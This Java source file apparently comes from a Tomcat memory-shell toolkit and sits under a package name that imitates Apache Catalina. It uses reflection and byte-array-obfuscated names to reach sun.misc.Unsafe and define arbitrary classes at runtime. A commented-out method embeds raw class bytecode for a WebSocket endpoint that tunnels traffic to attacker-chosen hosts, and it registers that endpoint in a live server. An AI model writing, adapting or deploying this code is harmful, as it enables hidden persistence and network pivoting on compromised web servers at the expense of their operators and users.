package org.apache.catalina.servlets.sl;

import org.apache.catalina.servlets.redefine.MyRequest;

public class WS {
    public static Class unsafedefine(byte[] bytes) throws Exception {
        java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField(new String(new byte[]{116,104,101,85,110,115,97,102,101}));
        field.setAccessible(true);
        Object unsafe = field.get(null);
        java.lang.reflect.Method m = sun.misc.Unsafe.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,65,110,111,110,121,109,111,117,115,67,108,97,115,115}), new Class[]{Class.class, byte[].class, Object[].class});
        m.setAccessible(true);
        Class clazz = (Class) m.invoke(unsafe, new Object[]{java.io.File.class, bytes, null});
        return clazz;
    }

    public static void SetHeader(Object request, String key, String value) {
        try {
            java.lang.reflect.Field requestField = request.getClass().getDeclaredField("request");
            requestField.setAccessible(true);
            Object requestObj = requestField.get(request);
            java.lang.reflect.Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest");
            coyoteRequestField.setAccessible(true);
            Object coyoteRequestObj = coyoteRequestField.get(requestObj);
            java.lang.reflect.Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers");
            headersField.setAccessible(true);
            Object headersObj = headersField.get(coyoteRequestObj);
            headersObj.getClass().getMethod("removeHeader", String.class).invoke(headersObj, key);
            Object x = headersObj.getClass().getMethod("addValue", String.class).invoke(headersObj, key);
            x.getClass().getMethod("setString", String.class).invoke(x, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

//    public static void injectws(Object request,String path){
//        try {
//            ClassLoader loader = MyRequest.getServletContext(request).getClass().getClassLoader();
//            java.lang.reflect.Method getAttribute = MyRequest.getServletContext(request).getClass().getDeclaredMethod("getAttribute", String.class);
//            Object container = getAttribute.invoke(MyRequest.getServletContext(request), "javax.websocket.server.ServerContainer");
//            java.lang.reflect.Method findmap = container.getClass().getDeclaredMethod("findMapping",String.class);
//            Object find = findmap.invoke(container,path);
//            if (find == null) {
//                Class Builder = loader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
//                java.lang.reflect.Method create = Builder.getDeclaredMethod("create", Class.class, String.class);
//                java.lang.reflect.Method bu = Builder.getDeclaredMethod("build");
//                byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, -14, 10, 0, 68, 0, 108, 9, 0, 67, 0, 109, 3, 0, 1, 0, 0, 10, 0, 61, 0, 110, 9, 0, 67, 0, 111, 7, 0, 112, 10, 0, 6, 0, 108, 9, 0, 67, 0, 113, 7, 0, 114, 10, 0, 9, 0, 108, 9, 0, 67, 0, 115, 10, 0, 61, 0, 116, 10, 0, 61, 0, 117, 10, 0, 65, 0, 118, 10, 0, 61, 0, 119, 10, 0, 6, 0, 120, 10, 0, 6, 0, 121, 10, 0, 61, 0, 122, 11, 0, 63, 0, 123, 11, 0, 63, 0, 124, 11, 0, 125, 0, 126, 10, 0, 67, 0, 127, 7, 0, -128, 10, 0, -127, 0, -126, 9, 0, 67, 0, -125, 10, 0, 67, 0, -124, 10, 0, -123, 0, -122, 9, 0, 67, 0, -121, 11, 0, 63, 0, -120, 11, 0, 63, 0, -119, 11, 0, 63, 0, -118, 11, 0, 63, 0, -117, 7, 0, -116, 10, 0, 33, 0, -126, 10, 0, 58, 0, -115, 10, 0, -123, 0, -114, 7, 0, -113, 10, 0, 61, 0, -112, 10, 0, 37, 0, -111, 8, 0, -110, 10, 0, 37, 0, -109, 8, 0, -108, 10, 0, 58, 0, -107, 10, 0, 65, 0, -106, 7, 0, -105, 10, 0, 45, 0, -104, 10, 0, 58, 0, -103, 5, 0, 0, 0, 0, 0, 0, 0, 10, 9, 0, -102, 0, -101, 11, 0, -100, 0, -99, 8, 0, -98, 11, 0, 125, 0, -97, 11, 0, 63, 0, -96, 10, 0, 9, 0, -95, 8, 0, -94, 10, 0, 9, 0, -93, 7, 0, -92, 10, 0, 58, 0, -91, 11, 0, -100, 0, -90, 7, 0, -89, 10, 0, 67, 0, -88, 7, 0, -87, 10, 0, 67, 0, -86, 7, 0, -85, 10, 0, 67, 0, -84, 7, 0, -83, 7, 0, -82, 7, 0, -80, 7, 0, -79, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 5, 102, 105, 114, 115, 116, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 59, 1, 0, 6, 99, 108, 105, 101, 110, 116, 1, 0, 45, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 21, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 98, 97, 111, 115, 1, 0, 31, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 3, 109, 97, 112, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 59, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 84, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 62, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 99, 111, 109, 112, 108, 101, 116, 101, 100, 1, 0, 47, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 6, 102, 97, 105, 108, 101, 100, 1, 0, 49, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 7, 111, 110, 67, 108, 111, 115, 101, 1, 0, 57, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 67, 108, 111, 115, 101, 82, 101, 97, 115, 111, 110, 59, 41, 86, 1, 0, 14, 114, 101, 97, 100, 70, 114, 111, 109, 83, 101, 114, 118, 101, 114, 1, 0, 73, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 41, 86, 1, 0, 7, 112, 114, 111, 99, 101, 115, 115, 1, 0, 49, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 42, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, -86, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 62, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 62, 59, 12, 0, 85, 0, 86, 12, 0, 75, 0, 76, 12, 0, -78, 0, -77, 12, 0, 77, 0, 78, 1, 0, 29, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 12, 0, 79, 0, 80, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 12, 0, 81, 0, 82, 12, 0, -76, 0, -75, 12, 0, -74, 0, -73, 12, 0, -72, 0, -71, 12, 0, -70, 0, -69, 12, 0, -68, 0, -67, 12, 0, -66, 0, -65, 12, 0, -64, 0, -63, 12, 0, -62, 0, -73, 12, 0, -61, 0, -59, 7, 0, -57, 12, 0, -56, 0, 93, 12, 0, 98, 0, 99, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, -55, 12, 0, -54, 0, 86, 12, 0, 71, 0, 72, 12, 0, 100, 0, 101, 7, 0, -53, 12, 0, -52, 0, -51, 12, 0, 73, 0, 74, 12, 0, -50, 0, -49, 12, 0, -48, 0, -49, 12, 0, -47, 0, -46, 12, 0, -45, 0, 86, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -44, 0, -43, 12, 0, -42, 0, -73, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 12, 0, -41, 0, -65, 12, 0, 85, 0, -40, 1, 0, 1, 32, 12, 0, -39, 0, -38, 1, 0, 1, 58, 12, 0, -37, 0, -36, 12, 0, -35, 0, -34, 1, 0, 26, 106, 97, 118, 97, 47, 110, 101, 116, 47, 73, 110, 101, 116, 83, 111, 99, 107, 101, 116, 65, 100, 100, 114, 101, 115, 115, 12, 0, 85, 0, -33, 12, 0, -32, 0, -31, 7, 0, -30, 12, 0, -29, 0, -28, 7, 0, -27, 12, 0, -70, 0, -26, 1, 0, 36, 72, 84, 84, 80, 47, 49, 46, 49, 32, 53, 48, 51, 32, 83, 101, 114, 118, 105, 99, 101, 32, 85, 110, 97, 118, 97, 105, 108, 97, 98, 108, 101, 13, 10, 13, 10, 12, 0, -25, 0, -24, 12, 0, -23, 0, -22, 12, 0, -21, 0, -20, 1, 0, 39, 72, 84, 84, 80, 47, 49, 46, 49, 32, 50, 48, 48, 32, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 32, 69, 115, 116, 97, 98, 108, 105, 115, 104, 101, 100, 13, 10, 13, 10, 12, 0, -70, 0, -19, 1, 0, 43, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 12, 0, -68, 0, -18, 12, 0, -70, 0, -17, 1, 0, 19, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 12, 0, 92, 0, 93, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 12, 0, 90, 0, 91, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 12, 0, 88, 0, 89, 1, 0, 8, 118, 119, 115, 121, 115, 116, 101, 109, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -16, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 35, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 1, 0, 8, 97, 108, 108, 111, 99, 97, 116, 101, 1, 0, 24, 40, 73, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 5, 99, 108, 101, 97, 114, 1, 0, 19, 40, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 117, 102, 102, 101, 114, 59, 1, 0, 12, 104, 97, 115, 82, 101, 109, 97, 105, 110, 105, 110, 103, 1, 0, 3, 40, 41, 90, 1, 0, 8, 105, 110, 116, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 73, 1, 0, 3, 103, 101, 116, 1, 0, 27, 40, 91, 66, 73, 73, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 7, 40, 91, 66, 73, 73, 41, 86, 1, 0, 11, 116, 111, 66, 121, 116, 101, 65, 114, 114, 97, 121, 1, 0, 4, 40, 41, 91, 66, 1, 0, 4, 119, 114, 97, 112, 1, 0, 25, 40, 91, 66, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 1, 0, 6, 105, 115, 79, 112, 101, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 7, 0, -15, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 10, 115, 101, 110, 100, 66, 105, 110, 97, 114, 121, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 22, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 59, 1, 0, 29, 115, 101, 116, 77, 97, 120, 66, 105, 110, 97, 114, 121, 77, 101, 115, 115, 97, 103, 101, 66, 117, 102, 102, 101, 114, 83, 105, 122, 101, 1, 0, 4, 40, 73, 41, 86, 1, 0, 27, 115, 101, 116, 77, 97, 120, 84, 101, 120, 116, 77, 101, 115, 115, 97, 103, 101, 66, 117, 102, 102, 101, 114, 83, 105, 122, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 4, 114, 101, 97, 100, 1, 0, 79, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 67, 111, 109, 112, 108, 101, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 12, 98, 111, 111, 108, 101, 97, 110, 86, 97, 108, 117, 101, 1, 0, 5, 97, 114, 114, 97, 121, 1, 0, 5, 40, 91, 66, 41, 86, 1, 0, 5, 115, 112, 108, 105, 116, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 111, 112, 101, 110, 1, 0, 47, 40, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 110, 110, 101, 108, 115, 47, 65, 115, 121, 110, 99, 104, 114, 111, 110, 111, 117, 115, 83, 111, 99, 107, 101, 116, 67, 104, 97, 110, 110, 101, 108, 59, 1, 0, 8, 112, 97, 114, 115, 101, 73, 110, 116, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 73, 1, 0, 22, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 73, 41, 86, 1, 0, 7, 99, 111, 110, 110, 101, 99, 116, 1, 0, 55, 40, 76, 106, 97, 118, 97, 47, 110, 101, 116, 47, 83, 111, 99, 107, 101, 116, 65, 100, 100, 114, 101, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 59, 1, 0, 29, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 1, 0, 7, 83, 69, 67, 79, 78, 68, 83, 1, 0, 31, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 59, 1, 0, 27, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 1, 0, 52, 40, 74, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 84, 105, 109, 101, 85, 110, 105, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 103, 101, 116, 73, 100, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 3, 112, 117, 116, 1, 0, 56, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 52, 40, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 66, 121, 116, 101, 66, 117, 102, 102, 101, 114, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 70, 117, 116, 117, 114, 101, 59, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 67, 0, 68, 0, 2, 0, 69, 0, 70, 0, 6, 0, 2, 0, 71, 0, 72, 0, 0, 0, 2, 0, 73, 0, 74, 0, 0, 0, 2, 0, 75, 0, 76, 0, 0, 0, 18, 0, 77, 0, 78, 0, 0, 0, 2, 0, 79, 0, 80, 0, 0, 0, 18, 0, 81, 0, 82, 0, 1, 0, 83, 0, 0, 0, 2, 0, 84, 0, 11, 0, 1, 0, 85, 0, 86, 0, 1, 0, 87, 0, 0, 0, 53, 0, 3, 0, 1, 0, 0, 0, 41, 42, -73, 0, 1, 42, 1, -75, 0, 2, 42, 18, 3, -72, 0, 4, -75, 0, 5, 42, -69, 0, 6, 89, -73, 0, 7, -75, 0, 8, 42, -69, 0, 9, 89, -73, 0, 10, -75, 0, 11, -79, 0, 0, 0, 0, 0, 1, 0, 88, 0, 89, 0, 1, 0, 87, 0, 0, 0, -63, 0, 4, 0, 6, 0, 0, 0, -83, 42, -76, 0, 5, -74, 0, 12, 87, 42, -76, 0, 5, -74, 0, 13, -103, 0, 102, 43, -74, 0, 14, -101, 0, 95, 43, -74, 0, 14, -68, 8, 78, 42, -76, 0, 5, 45, 3, 43, -74, 0, 14, -74, 0, 15, 58, 4, 42, -76, 0, 8, 45, 3, 43, -74, 0, 14, -74, 0, 16, 42, -76, 0, 8, -74, 0, 17, -72, 0, 18, 58, 5, 44, -71, 0, 19, 1, 0, -103, 0, 16, 44, -71, 0, 20, 1, 0, 25, 5, -71, 0, 21, 2, 0, 42, -69, 0, 6, 89, -73, 0, 7, -75, 0, 8, 42, 44, 42, -76, 0, 2, -73, 0, 22, -89, 0, 54, 43, -74, 0, 14, -98, 0, 47, 43, -74, 0, 14, -68, 8, 78, 42, -76, 0, 5, 45, 3, 43, -74, 0, 14, -74, 0, 15, 58, 4, 42, -76, 0, 8, 45, 3, 43, -74, 0, 14, -74, 0, 16, 42, 44, 42, -76, 0, 2, -73, 0, 22, -89, 0, 4, 78, -79, 0, 1, 0, 8, 0, -88, 0, -85, 0, 23, 0, 0, 0, 1, 0, 90, 0, 91, 0, 1, 0, 87, 0, 0, 0, 17, 0, 1, 0, 3, 0, 0, 0, 5, 43, -74, 0, 24, -79, 0, 0, 0, 0, 0, 1, 0, 92, 0, 93, 0, 1, 0, 87, 0, 0, 0, 47, 0, 3, 0, 3, 0, 0, 0, 27, 43, -74, 0, 12, 87, 42, 43, 42, -76, 0, 25, -73, 0, 26, 42, 3, -72, 0, 27, -75, 0, 28, -89, 0, 4, 77, -79, 0, 1, 0, 0, 0, 22, 0, 25, 0, 23, 0, 0, 0, 1, 0, 94, 0, 95, 0, 1, 0, 87, 0, 0, 0, 49, 0, 2, 0, 3, 0, 0, 0, 37, 42, 4, -72, 0, 27, -75, 0, 28, 42, 43, -75, 0, 25, 43, 18, 3, -71, 0, 29, 2, 0, 43, 18, 3, -71, 0, 30, 2, 0, 43, 42, -71, 0, 31, 2, 0, -79, 0, 0, 0, 0, 0, 1, 0, 96, 0, 97, 0, 1, 0, 87, 0, 0, 0, 35, 0, 1, 0, 4, 0, 0, 0, 15, 43, -71, 0, 32, 1, 0, -89, 0, 8, 78, 45, -74, 0, 34, -79, 0, 1, 0, 0, 0, 6, 0, 9, 0, 33, 0, 0, 0, 2, 0, 98, 0, 99, 0, 1, 0, 87, 0, 0, 0, 36, 0, 4, 0, 3, 0, 0, 0, 24, 42, 44, -75, 0, 2, 42, -76, 0, 5, -74, 0, 12, 87, 44, 42, -76, 0, 5, 43, 42, -74, 0, 35, -79, 0, 0, 0, 0, 0, 2, 0, 100, 0, 101, 0, 1, 0, 87, 0, 0, 0, -30, 0, 4, 0, 11, 0, 0, 0, -66, 42, -76, 0, 28, -74, 0, 36, -103, 0, -112, -69, 0, 37, 89, 43, -74, 0, 38, -73, 0, 39, 78, 45, 18, 40, -74, 0, 41, 58, 4, 25, 4, 4, 50, 18, 42, -74, 0, 41, 58, 5, -72, 0, 43, 58, 6, 25, 5, 4, 50, -72, 0, 44, 54, 7, -69, 0, 45, 89, 25, 5, 3, 50, 21, 7, -73, 0, 46, 58, 8, 25, 6, 25, 8, -74, 0, 47, 58, 9, 25, 9, 20, 0, 48, -78, 0, 50, -71, 0, 51, 4, 0, 87, -89, 0, 19, 58, 10, 44, -71, 0, 20, 1, 0, 18, 52, -71, 0, 53, 2, 0, -79, 42, -76, 0, 11, 44, -71, 0, 54, 1, 0, 25, 6, -74, 0, 55, 87, 42, 44, 25, 6, -73, 0, 22, 44, -71, 0, 20, 1, 0, 18, 56, -71, 0, 53, 2, 0, -89, 0, 37, 42, -76, 0, 11, 44, -71, 0, 54, 1, 0, -74, 0, 57, -64, 0, 58, 78, 45, 43, -74, 0, 59, -71, 0, 60, 1, 0, 87, 42, 44, 45, -73, 0, 22, -89, 0, 4, 78, -79, 0, 3, 0, 79, 0, 93, 0, 96, 0, 23, 0, 0, 0, 111, 0, -68, 0, 23, 0, 112, 0, -71, 0, -68, 0, 23, 0, 0, 16, 65, 0, 92, 0, 102, 0, 1, 0, 87, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 61, -74, 0, 62, -79, 0, 0, 0, 0, 16, 65, 0, 90, 0, 103, 0, 1, 0, 87, 0, 0, 0, 22, 0, 3, 0, 3, 0, 0, 0, 10, 42, 43, 44, -64, 0, 63, -74, 0, 64, -79, 0, 0, 0, 0, 16, 65, 0, 88, 0, 104, 0, 1, 0, 87, 0, 0, 0, 25, 0, 3, 0, 3, 0, 0, 0, 13, 42, 43, -64, 0, 65, 44, -64, 0, 63, -74, 0, 66, -79, 0, 0, 0, 0, 0, 2, 0, 83, 0, 0, 0, 2, 0, 107, 0, 106, 0, 0, 0, 18, 0, 2, 0, 69, 0, -81, 0, 105, 6, 9, 0, 125, 0, -58, 0, -60, 6, 9};
//                Class clazz = unsafeloader(bytes);
//                Object bb = create.invoke(Builder, clazz, path);
//                Object endpoint = bu.invoke(bb);
//                java.lang.reflect.Method[] methodAll = container.getClass().getMethods();
//                for (java.lang.reflect.Method method : methodAll) {
//                    if (method.getName().equals("addEndpoint") && method.getParameterTypes()[0].getSimpleName().equals("ServerEndpointConfig")) {
//                        method.invoke(container, endpoint);
//                    }
//                }
//            }
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
//    }
